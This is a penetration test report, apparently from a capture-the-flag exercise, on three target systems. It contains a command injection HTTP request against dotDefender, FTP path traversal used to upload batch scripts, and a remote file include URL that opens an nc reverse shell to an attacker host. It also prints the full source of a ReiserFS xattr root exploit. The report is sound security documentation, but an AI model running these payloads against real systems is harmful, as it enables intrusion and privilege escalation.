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1 INTRODUCTION 

The main goal of the job is performing security analysis of the remote systems described as “noob 
filter”, “killthen00b” and “ghost”. Successful penetration is indicated by getting a private information 
described as the access key. 

This report contains information about results and details of the analysis. Job was performed from 
May, 8 14:00 GMT to May, 9 05:00 GMT. 

1.1 The model of penetration tester 

The information security threats for the systems are directly related to the potential violators, whose 
actions cause the results of those threats. Typical scenarios of potential actions of violators (and 
their threats) are defined by their qualification, tools available and available rights regarding the 
systems and the environment. In the Table 1 below is shown the formalized model of the violators. 
The model includes only those groups of violators, who implements premediated malicious actions. 
In terms of this report violators of type A2 and B2 are considered (bold type in Table 1).  

Table 1. List of the possible types of violators 

Identifier Name Description 

А1 
External Intruder (Industrial 
Espionage) 

 Knows how to exploit vulnerabilities and 
weaknesses in defense of software, even not well-
known and self-written; 

 Has experience of hacking different systems; 

 No knowledge about the infrastructure; 

 Advanced level of technical knowledge; 

 No access to protected data; 

 No limits in resources (such as private 0day 
exploits, botnets, etc.) 

А2 External Intruder (Hacker) 

 Knows how to exploit vulnerabilities and 
weaknesses in defense of well-known software; 

 Has experience of hacking such a system; 

 No knowledge about the infrastructure; 

 Upper intermediate level of technical 
knowledge; 

 No or limited access to protected data. 

В1 
Internal Legal User 
(Employee) 

 Middle level of technical knowledge; 

 Knows the infrastructure well; 

 Has legitimate access to the network (login 
credentials); 

 Wants to cause the damage to the company; 

 Access rights might be limited to the position held; 
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Identifier Name Description 

 No or limited access to protected data. 

В2 Internal Intruder (Guest) 

 Middle level of technical knowledge; 

 Limited access to internal resources; 

 No knowledge about the infrastructure; 

 Wants to cause the damage to the company; 

 No access to protected data. 
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2 EXECUTIVE SUMMARY 

Current level of the network protection against the threats to the network perimeter can be evaluated 
as critical. There are several critical vulnerabilities that need to be fixed as soon as possible. These 
vulnerabilities cause to the loss of the private data confidentiality, availability and integrity. 

See section 3 “Work flow” for the details. 
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3 WORK FLOW 

This section describes the work flow of the penetration test host-by-host. Graphically it can be 
represented as shown at Figure 1. 

 

Figure 1. Work flow graph 
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3.1 The “Noob filter” system 

The system is represented by two hosts described in Table 2. 

Table 2. The hosts of “Noob filter” system 

Hostname IP address Description 

www1.noob-filter.com 67.23.72.4 First machine of the system 

www2.noob-filter.com 67.23.72.5 
Second machine of the system 
used for extra redundancy 

 

Noob filter basically is web page which has a login page as shown below in Figure 2. 

 

Figure 2. The main screen of the web page 

Any try to put malicious symbols into the input fields cause the web application firewall to react with 
the message “HAHAHAHA!” This message is a replacement of the standard page of web application 
firewall called “dotDefender Applicure”. At first 10 minutes of the game this page was not replaced, 
so it was easy to guess WAF software.  

When it became replaced it was still possible to recognize software viewing the source code of the 
page. Meta tags of the page contain the following info: 
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<meta name="description" content="Applicure is the leading provider of web 

application security. We  create products for web application protection, 

including web application firewall, ISA security and IIS security." /> 

Little research with google.com shows that control panel of this software is simple web application 

which is usually located at http://site/dotDefender path. There was a try to access the web 

application at this URL: http://www1.noob-filter.com/dotDefender, but it failed because of the 
presence of the HTTP Basic authentication form. By use of the default credentials “admin:password” 
the access was obtained. Accessed page is shown at Figure 3. 

 

Figure 3. dotDefender Site Management page 
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The page seemed to be vulnerable according to security mailing list1 to the following vulnerability 
shown in Table 3. 

Table 3. dotDefender vulnerability description 

Remote Command Execution in dotDefender Site Management 

Severity Critical 

CWE CWE-88: Argument Injection or Modification 

CVE Not assigned 

CVSSv2 Base Score and Metrics 9 (AV:N/AC:L/Au:S/C:C/I:C/A:C) 

Description 

The vulnerability is in the 'deletesite' implementation and the 
'deletesitename' variable. 

Insufficient input validation allows an attacker to inject 
arbitrary commands. 

References http://seclists.org/fulldisclosure/2009/Nov/357 

 

Exploit sample used to get private data (flag) sent as raw HTTP request using netcat, which has 
resulted to the private keys is shown below. 

POST http://www1.noob-filter.com/dotDefender/index.cgi HTTP/1.1 

Host: 67.23.72.4 

Referer: https://67.23.72.4/dotDefender/index.cgi 

Authorization: Basic YWRtaW46cGFzc3dvcmQ= 

Content-Length: 132 

 

sitename=dotdefeater&deletesitename=dotdefeater;find / -name n00bSecret.txt -

print | xargs cat;&action=deletesite&linenum=15 

3.2 The “Killthen00b” host 

The host is running Windows 7 and has three main services available: ftp, remote desktop and 
surgemail. 

To connect to FTP it is possible to use predefined credentials “devil:killthen00b”. Fingerprinting FTP 
service show the following info: 

 220-Complete FTP server 

 220 FTP Server v 3.3.0 

 Search in Bugtrack shows a non-patched vulnerability available to exploit (see Table 4). 

 

                                                

 

 
1
 http://seclists.org/fulldisclosure/2009/Nov/357 
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Table 4. CompleteFTP vulnerability description 

CompleteFTP Directory Traversal Vulnerability 

Severity High 

CWE 
CWE-22: Improper Limitation of a Pathname to a Restricted 
Directory ('Path Traversal') 

CVE Not assigned 

CVSSv2 Base Score and Metrics 7.5 (AV:N/AC:L/Au:S/C:C/I:P/A:N) 

Description 

CompleteFTP is prone to a directory-traversal vulnerability 
because it fails to sufficiently sanitize user-supplied input. 

Exploiting this issue can allow an attacker to download 
arbitrary files outside of the FTP server root directory. This 
may aid in further attacks. 

CompleteFTP 3.3.0 is vulnerable; other versions may also 
be affected. 

References: BID: 39802 

 

Using the vulnerability shown above the attempt of uploading malicious file to the web directory was 
attempted. Occasionally directory keeping executables was found. Those executables could be run 
using a HTTP request to them. 

cd ..\..\..\..\ 

cd surgemail\scripts 

The first malicious file had been uploaded to this directory showing listing of Desktop directory of 
user “Administrator” to the folder C:\surgemail\scripts which can be accessed through the web using 

the following URL: http://192.168.6.71/scripts/ 

ls.bat: 

dir c:\Users\Administrator\Desktop 

Get this script working by following URL: http://192.168.6.71/scripts/ls.bat 

Output of this command shows that there is a file named proof.txt. 

Uploading the second file we get the private data (flag). 

admin.bat: 

type c:\Users\Administrator\Desktop\proof.txt 

3.3 The “GHOST” host 

The host appeared to be a web server. Using the tool called “Nikto” default directories and scripts 

were bruteforced. Directory http://192.168.6.66/1/ contained vulnerable script called Simple 

Text-File Login which appeared to be vulnerable (see Table 5). 

 

 

 

http://192.168.6.66/1/
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Table 5. Simple Text-File Login vulnerability description 

Simple Text-File Login script 'slogin_lib.inc.php' Remote File Include Vulnerability 

Severity High 

CWE 
CWE-94: Failure to Control Generation of Code ('Code 
Injection') 

CVE CVE-2008-5763 

CVSSv2 Base Score and Metrics 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P) 

Description 

PHP remote file inclusion vulnerability in slogin_lib.inc.php 
in Simple Text-File Login Script (SiTeFiLo) 1.0.6 allows 
remote attackers to execute arbitrary PHP code via a URL 
in the slogin_path parameter. 

References: BID: 32811 

 

Using the following exploit the reverse shell was obtained: 

http://192.168.6.66/1/slogin_lib.inc.php?slogin_path=http://192.168.6.178/&cmd=/b

in/nc.traditional%20-c%20/bin/bash%20192.168.6.178%2031337 

Brief enumeration of system assets has shown that there is an unmounted partition with reiserfs 
filesystem in /etc/fstab.  

$ cat /etc/fstab 

# /etc/fstab: static file system information. 

# 

# Use 'blkid -o value -s UUID' to print the universally unique identifier 

# for a device; this may be used with UUID= as a more robust way to name 

# devices that works even if disks are added and removed. See fstab(5). 

# 

# <file system> <mount point>   <type>  <options>       <dump>  <pass> 

proc            /proc           proc    defaults        0       0 

/dev/mapper/ghost-root /               ext4    errors=remount-ro 0       1 

# /boot was on /dev/sda5 during installation 

UUID=f9f46813-a78a-42e8-a007-53308212ee26 /boot           ext2    defaults        

0       2 

/dev/sdb1 /apachelogs          reiserfs    user,noauto,rw,exec,suid,user_xattr        

0       2 

/dev/sdc1 /tmp         ext2        noexec,nosuid,rw                    0       0 

/dev/mapper/ghost-swap_1 none            swap    sw              0       0 

/dev/scd0       /media/cdrom0   udf,iso9660 user,noauto,exec,utf8 0       0 

/dev/fd0        /media/floppy0  auto    rw,user,noauto,exec,utf8 0       0 

Mounting the reiserfs filesystem for further research: 

$ mount /apachelogs 

Also this system has an old non-patched kernel, which is vulnerable to ReiserFS xattr Local Privilege 
Escalation Exploit available at http://www.exploit-db.com/exploits/12130 (see Appendix A). 

http://www.exploit-db.com/exploits/12130
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After becoming root see file /root/proof.txt using the following command: 

# cat /root/proof.txt 

sDSjnSo22bSe12sadjdjrudfknk4455qndlas4 
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APPENDIX A. LINUX KERNEL <= 2.6.34-RC3 REISERFS XATTR 

PRIVILEGE ESCALATION EXPLOIT 

Listing of exploit, used to get root in the GHOST system is listed below. It is modified version of the 
exploit available through www.exploit-db.com. 

import os, sys 

SHELL = 'int main(void) { setgid(0); setuid(0); execl("/bin/sh", "sh", 0); }' 

XATTR = 

'\x41\x58\x46\x52\xc1\x00\x00\x02\x01\x00\x00\x02\xc0\x00\x00\x00\x00\x00\x00\x00

\x00\x00\x00\x00\x00\x00\x00\x00' 

def err(txt): 

    print '[-] error: %s' % txt 

    sys.exit(1) 

def msg(txt): 

    print '[+] %s' % txt 

def main(): 

    msg('checking for reiserfs mount with user_xattr mount option') 

    f = open('/etc/fstab') 

    for line in f: 

        if 'reiserfs' in line and 'user_xattr' in line: 

            break 

    else: 

        err('failed to find a reiserfs mount with user_xattr') 

    f.close() 

    if not os.path.exists('/apachelogs/.reiserfs_priv/xattrs'): 

        err('failed to locate private xattrs directory') 

    msg('preparing shell in') 

    f = open('/apachelogs/data/team-edward.c', 'w') 

    f.write(SHELL) 

    f.close() 

    msg('capturing pre-shell snapshot of private xattrs directory') 

    pre = set(os.listdir('/apachelogs/.reiserfs_priv/xattrs')) 

    msg('compiling shell in /tmp') 

    ret = os.system('gcc-4.4 -w /apachelogs/data/team-edward.c -o 

/apachelogs/data/team-edward') 

    if ret != 0: 

        err('error compiling shell, you need gcc') 

    msg('setting dummy xattr to get reiserfs object id') 

    os.system('setfattr -n "user.hax" -v "hax" /apachelogs/data/team-edward') 

http://www.exploit-db.com/
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    if ret != 0: 

        err('error setting xattr, you need setfattr') 

  

    msg('capturing post-shell snapshot of private xattrs directory') 

    post = set(os.listdir('/apachelogs/.reiserfs_priv/xattrs')) 

    objs = post.difference(pre) 

    msg('found %s new object ids' % len(objs)) 

    for obj in objs: 

        msg('setting cap_setuid/cap_setgid capabilities on object id %s' % obj) 

        f = open('/apachelogs/.reiserfs_priv/xattrs/%s/security.capability' % 

obj, 'w') 

        f.write(XATTR) 

        f.close() 

    msg('spawning setuid shell...') 

    os.system('/apachelogs/data/team-edward') 

if __name__ == '__main__': 

    main() 
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